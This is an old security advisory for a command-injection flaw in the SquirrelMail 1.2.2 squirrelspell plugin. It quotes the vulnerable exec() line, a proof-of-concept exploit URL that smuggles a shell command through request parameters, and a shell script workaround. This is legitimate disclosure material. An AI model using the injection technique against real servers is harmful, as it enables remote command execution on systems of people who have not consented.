[UNIX] SquirrelMail Security Bug Allows Execution of Arbitrary Commands

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Date: 02/07/02 

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Date: Thu,  7 Feb 2002 23:37:45 +0100 (CET)

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  SquirrelMail Security Bug Allows Execution of Arbitrary Commands
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SUMMARY

 <http://www.squirrelmail.org/> SquirrelMail is a standards-based web mail
package written in PHP4. A security vulnerability in the program allows
remote attackers to execute arbitrary commands remotely.

DETAILS

Vulnerable systems:
SquirrelMail version 1.2.2

Immune systems:
SquirrelMail version 1.2.4

From file check_me.mod.php:
$sqspell_command = $SQSPELL_APP[$sqspell_use_app];
..
$floc = "$attachment_dir/$username_sqspell_data.txt");
..
exec ("cat $floc | $sqspell_command", $sqspell_output);

This last line would allow attacker to execute any command as a HTTP
server's owner.

Exploit:
host/plugins/squirrelspell/modules/check_me.mod.php?
SQSPELL_APP[blah]=wall%20hello&
sqspell_use_app=blah&
attachment_dir=/tmp&username_sqspell_data=plik

(NOTE: We have wrapped the original URL into its fragments).

Temporary solution:
--- begin sqspell_security_fix.sh ---
#!/bin/sh
sed "s/.mod.php/.mod/g" sqspell_interface.php > tmp.1
sed "s/.mod.php/.mod/g" sqspell_options.php > tmp.2
mv -f tmp.1 sqspell_interface.php
mv -f tmp.2 sqspell_options.php
cd modules
for FILE in *.mod.php; do
        NEWFILE=`echo $FILE | sed 's/.php//'`
        mv $FILE $NEWFILE
done
--- end sqspell_security_fix.sh ---

ADDITIONAL INFORMATION

The information has been provided by <mailto:appelast@bsquad.sm.pl>
appelast and <mailto:icon@phy.duke.edu> Konstantin Riabitsev.

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